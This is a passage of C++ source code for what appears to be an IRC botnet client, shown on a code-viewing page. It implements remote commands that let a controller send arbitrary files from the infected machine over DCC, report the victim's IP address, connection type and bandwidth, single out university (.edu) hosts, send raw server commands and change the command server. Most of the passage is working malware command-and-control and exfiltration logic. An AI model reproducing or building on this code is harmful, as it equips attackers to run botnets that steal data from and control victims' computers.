📄 irc.cpp.svn-base
字号:
// Fail if the hash check failed
if(!g_pMainCtrl->m_bHashCheckFailed) ex->Start(true);
else SendFormat(false, false, sLine.Token(0, ":").Token(0, " ").Token(0, "!").Str(), "Go home newb!");
} // Someone got kicked, maybe the bot itself else if(!sLine.Token(1, " ").Compare("KICK")) { // If someone is logged in by that name, log him out login *pLogin=g_pMainCtrl->m_cMac.FindLogin(sLine.Token(3, " ")); if(pLogin) g_pMainCtrl->m_cMac.DelLogin(sLine.Token(3, " "), sLine.Token(3, " ")); // If the bot itself is kicked, rejoin, and send "screw you %s!" if(!sLine.Token(3, " ").Compare(g_pMainCtrl->m_sUserName)) { CString sName(sLine.Token(1, ":").Token(0, "!").CStr()); m_bJoined=false; SendRawFormat("JOIN %s %s\r\n", \ g_pMainCtrl->m_cBot.si_mainchan.sValue.CStr(), \ g_pMainCtrl->m_cBot.si_chanpass.sValue.CStr()); SendRawFormat("PRIVMSG %s :screw you %s!\r\n", g_pMainCtrl->m_cBot.si_mainchan.sValue.CStr(), sName.CStr()); } } // Someone changed his nickname else if(!sLine.Token(1, " ").Compare("NICK")) { // Check if hes logged in, if so, replace the username in CMac CString sOldNick(sLine.Token(1, ":").Token(0, "!").CStr()); if(!strstr(sLine.Str(), " :")) continue; CString sNewNick(strstr(sLine.Str(), " :")); if(sOldNick.Compare("") && sNewNick.Compare("")) { login *pLogin=g_pMainCtrl->m_cMac.FindLogin(sOldNick); if(pLogin) pLogin->sIRCUsername.Assign(sNewNick); if(!sOldNick.Compare(g_pMainCtrl->m_sUserName)) g_pMainCtrl->m_sUserName.Assign(sNewNick); } } // Someone left the channel else if(!sLine.Token(1, " ").Compare("PART") || !sLine.Token(1, " ").Compare("QUIT")) { // Check if hes logged in, if so, log him out login *pLogin=g_pMainCtrl->m_cMac.FindLogin(sLine.Token(1, ":").Token(0, "!")); if(pLogin) g_pMainCtrl->m_cMac.DelLogin(sLine.Token(1, ":").Token(0, "!"), sLine.Token(1, ":").Token(0, "!")); } } else { // We didn't receive a valid line, or the server closed the connection Fail(); continue; } } }
} catch(...) {
return Run();
} return NULL;}void CIRC::Init(){
REGCMD(m_cmdDisconnect, "irc.disconnect", "disconnects the bot from irc", false, this); REGCMD(m_cmdAction, "irc.action", "lets the bot perform an action", false, this); REGCMD(m_cmdDCCSend, "irc.dccsend", "sends a file over dcc", false, this);
REGCMD(m_cmdGetEdu, "irc.getedu", "prints netinfo when the bot is .edu", false, this); REGCMD(m_cmdGetHost, "irc.gethost", "prints netinfo when host matches", false, this); REGCMD(m_cmdJoin, "irc.join", "makes the bot join a channel", false, this); REGCMD(m_cmdMode, "irc.mode", "lets the bot perform a mode change", false, this); REGCMD(m_cmdNetInfo, "irc.netinfo", "prints netinfo", false, this); REGCMD(m_cmdPart, "irc.part", "makes the bot part a channel", false, this); REGCMD(m_cmdPrivMsg, "irc.privmsg", "sends a privmsg", false, this); REGCMD(m_cmdQuit, "irc.quit", "quits the bot", false, this); REGCMD(m_cmdRaw, "irc.raw", "sends a raw message to the irc server", false, this); REGCMD(m_cmdReconnect, "irc.reconnect", "reconnects to the server", false, this); REGCMD(m_cmdServer, "irc.server", "changes the server the bot connects to", false, this); }bool CIRC::HandleCommand(CMessage *pMsg){ if(!pMsg->sCmd.Compare("irc.disconnect") || !pMsg->sCmd.Compare("irc.reconnect")) { m_iServerNum=0; m_iFailCount=0; m_bJoined=false; m_bConnected=false; m_sSocket.Disconnect(); g_pMainCtrl->m_cMac.ClearLogins(); } else if(!pMsg->sCmd.Compare("irc.quit")) { Disconnect(); g_pMainCtrl->m_bRunning=false; } else if(!pMsg->sCmd.Compare("irc.action")) { SendFormat(false, false, pMsg->sChatString.Token(1, " ").Str(), \ "\1ACTION %s\1", pMsg->sChatString.Token(2, " ", true).CStr()); }
else if(!pMsg->sCmd.Compare("irc.dccsend"))
{
FILE *fp; int iLength, iBytesSent=0;
sockaddr_in GuestAddr, SockAddr; socklen_t addrlen;
unsigned long lMode=0, lLocalIp, lFileSize;
int iErr1, iErr2;
CString sReply; char buffer[1024]; CSocket sDCC, sSock;
if(!pMsg->sChatString.Token(1, " ").Compare("") || !pMsg->sChatString.Token(2, " ").Compare("")) return false;
fp=fopen(pMsg->sChatString.Token(2, " ", true).CStr(), "rb");
if(!fp) {
SendMsg(pMsg->bSilent, pMsg->bNotice, "DCC: Error opening file.", pMsg->sReplyTo.Str());
return false; }
lFileSize=GetFileSize(fp);
init_random(); int iPort=brandom(1024, 65535);
if(!sDCC.Bind(iPort)) {
SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(),
"DCC: Failed to bind port %d.", iPort);
fclose(fp); return false; }
sDCC.SetAsync(true);
sReply.Format("\001DCC SEND \"%s\" %d %d %i\001", pMsg->sChatString.Token(2, " ").CStr(),
htonl(g_pMainCtrl->m_cIRC.m_lLocalAddr), iPort, lFileSize);
SendRawFormat("PRIVMSG %s :%s\r\n", pMsg->sChatString.Token(1, " ").CStr(), sReply.CStr());
// Timeout after 45 seconds
unsigned long lStartTime=GetTickCount();
while(true) {
if((GetTickCount()-lStartTime)>=45000) {
// Timeout
SendMsg(pMsg->bSilent, pMsg->bNotice, "DCC: Timed Out, closing connection.", pMsg->sReplyTo.Str());
sDCC.Disconnect(); fclose(fp); return false; }
if(sDCC.Accept(sSock)) {
// Got connection
break; }
Sleep(250); } // Sleep to prevent overload
lStartTime=GetTickCount();
while(true) {
int Fsend=1024;
memset(buffer, 0, sizeof(buffer));
if(Fsend>lFileSize-iBytesSent) Fsend=lFileSize-iBytesSent;
fseek(fp, iBytesSent, SEEK_SET);
fread(buffer, sizeof(char), Fsend, fp);
if(!sSock.Write(buffer, Fsend, &iErr1)) break;
if(!sSock.Recv(buffer, sizeof(buffer), &iErr2)) break;
iBytesSent+=iErr1;
if(lFileSize-iBytesSent<1 || iErr1<1 || iErr2<1)
break; }
unsigned long lElapsedS=(GetTickCount()-lStartTime)/1000;
if(!lElapsedS) lElapsedS++; // Prevent divide by 0
sReply.Format("Connection closed(%2.2f/%2.2fkB sent, %2.2fkB/s).", ((float)iBytesSent)/1024.0f, ((float)lFileSize)/1024.0f,
(((float)iBytesSent)/1024.0f)/((float)lElapsedS));
SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str());
fclose(fp); sDCC.Disconnect(); sSock.Disconnect();
} else if(!pMsg->sCmd.Compare("irc.netinfo")) { SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "%s", NetInfo().CStr()); } else if(!pMsg->sCmd.Compare("irc.getedu")) { if(m_sLocalHost.Find(".edu") || m_sLocalHost.Find(".Edu") || m_sLocalHost.Find(".EDU")) SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "%s", NetInfo().CStr()); } else if(!pMsg->sCmd.Compare("irc.gethost")) { if(m_sLocalHost.Find(pMsg->sChatString.Token(1, " "))) SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "%s", NetInfo().CStr()); } else if(!pMsg->sCmd.Compare("irc.join")) { SendRawFormat("JOIN %s %s\r\n", pMsg->sChatString.Token(1, " ").CStr(), pMsg->sChatString.Token(2, " ").CStr()); } else if(!pMsg->sCmd.Compare("irc.part")) { SendRawFormat("PART %s\r\n", pMsg->sChatString.Token(1, " ").CStr()); } else if(!pMsg->sCmd.Compare("irc.raw")) { CString sStr; sStr.Format("%s\r\n", pMsg->sChatString.Token(1, " ", true).CStr()); SendRaw(sStr.Str()); } else if(!pMsg->sCmd.Compare("irc.privmsg")) { SendMsg(false, false, pMsg->sChatString.Token(2, " ", true).Str(), pMsg->sChatString.Token(1, " ").Str()); } else if(!pMsg->sCmd.Compare("irc.mode")) { SendRawFormat("MODE %s %s %s\r\n", pMsg->sChatString.Token(1, " ").CStr(), pMsg->sChatString.Token(2, " ").CStr(), pMsg->sChatString.Token(3, " ").CStr()); } else if(!pMsg->sCmd.Compare("irc.server")) { g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_server, pMsg->sChatString.Token(1, " ").CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_port, pMsg->sChatString.Token(2, " ").CStr()); g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_servpass, pMsg->sChatString.Token(3, " ").CStr()); } return false; }CString CIRC::NetInfo(){ CString sNetInfo; sockaddr sa; socklen_t sas; // get ip address sas=sizeof(sa); memset(&sa, 0, sizeof(sa)); m_sSocket.GetSockName(&sa, &sas);#ifdef WIN32 // get connection type/name unsigned long n; char ctype[8]; char cname[128]; memset(cname, 0, sizeof(cname)); memset(ctype, 0, sizeof(ctype)); HINSTANCE wininet_dll=LoadLibrary("WININET.DLL"); if(wininet_dll) { fInternetGetConnectedStateEx=(IGCSE)GetProcAddress(wininet_dll, "InternetGetConnectedStateEx"); if(!fInternetGetConnectedStateEx) { fInternetGetConnectedStateEx(&n, (char *)&cname, sizeof(cname), 0); if(n&&INTERNET_CONNECTION_MODEM==INTERNET_CONNECTION_MODEM) strncpy(ctype, "dial-up", sizeof(ctype)-1); else strncpy(ctype, "LAN", sizeof(ctype)-1); } else { strncpy(ctype, "N/A", sizeof(ctype)-1); strncpy(cname, "N/A", sizeof(cname)-1); } }#else // Fixme! add connection type detection for linux#endif // WIN32 char szIP[16]; sprintf(szIP, "%d.%d.%d.%d", (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \ (unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]); sNetInfo.Assign(""); sNetInfo.Append("connection type: ");#ifdef WIN32 sNetInfo.Append(ctype); sNetInfo.Append(" ("); sNetInfo.Append(cname); sNetInfo.Append("). ");#else sNetInfo.Append("Linux. ");#endif // WIN32 sNetInfo.Append("local IP address: "); sNetInfo.Append(szIP); sNetInfo.Append(". "); sNetInfo.Append("connected from: "); sNetInfo.Append(m_sLocalHost); sNetInfo.Append(". "); sNetInfo.Append("private ip: "); if(IsPrivate(szIP)) sNetInfo.Append("yes. "); else sNetInfo.Append("no. "); if(g_pMainCtrl->m_cBot.do_speedtest.bValue) { if(g_pMainCtrl->m_cStartupThread.m_bDataSet) { CString sTempBuf; sTempBuf.Format("speed: EU(%d kbit/s) US(%d kbit/s) ASIA(%d kbit/s) Total(%d kbit/s) ", g_pMainCtrl->m_cStartupThread.m_speedData.lEUSpeed, g_pMainCtrl->m_cStartupThread.m_speedData.lUSSpeed, g_pMainCtrl->m_cStartupThread.m_speedData.lASIASpeed, g_pMainCtrl->m_cStartupThread.m_speedData.lTotalSpeed); sNetInfo.Append(sTempBuf); } } if(g_pMainCtrl->m_cSpeedTest.m_bDataSet) { CString sTempBuf; sTempBuf.Format("speed: EU(%d kbit/s) US(%d kbit/s) ASIA(%d kbit/s) Total(%d kbit/s) ", g_pMainCtrl->m_cSpeedTest.m_speedData.lEUSpeed, g_pMainCtrl->m_cSpeedTest.m_speedData.lUSSpeed, g_pMainCtrl->m_cSpeedTest.m_speedData.lASIASpeed, g_pMainCtrl->m_cSpeedTest.m_speedData.lTotalSpeed); sNetInfo.Append(sTempBuf); }#ifdef WIN32 FreeLibrary(wininet_dll);#endif // WIN32 return sNetInfo; }bool CIRC::SendRaw(char *szMsg){ if(!m_sSocket.Write(szMsg, strlen(szMsg))) { m_bJoined=false; m_bConnected=false; m_sSocket.Disconnect(); g_pMainCtrl->m_cMac.ClearLogins(); return false; } else return true;}bool CIRC::SendRawFormat(const char *szFmt, ...){ va_list va_alist; char formatbuf[8192]; va_start(va_alist, szFmt); vsnprintf(formatbuf, sizeof(formatbuf), szFmt, va_alist); va_end(va_alist); return SendRaw(formatbuf); }bool CIRC::SendMsg(bool bSilent, bool bNotice, char *szMsg, char *szDst){ if(bSilent) return false; if (isSilent(szDst)) return false; CString sTheCmd; if(bNotice) sTheCmd.Assign("NOTICE"); else sTheCmd.Assign("PRIVMSG"); CString sSendBuf; sSendBuf.Format("%s %s :%s\r\n", sTheCmd.CStr(), szDst, szMsg); return SendRaw(sSendBuf.Str()); }bool CIRC::SendFormat(bool bSilent, bool bNotice, char *szDst, const char *szFmt, ...){ va_list va_alist; char formatbuf[8192]; va_start(va_alist, szFmt); vsnprintf(formatbuf, sizeof(formatbuf), szFmt, va_alist); va_end(va_alist); return SendMsg(bSilent, bNotice, formatbuf, szDst); }void CIRC::Fail(){ Disconnect(); m_iFailCount++; }void CIRC::Disconnect(){ g_pMainCtrl->m_cBot.RunScript(SCRIPT_ONDISCON);
m_bJoined=false; m_bConnected=false; m_sSocket.Disconnect(); g_pMainCtrl->m_cMac.ClearLogins(); }
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -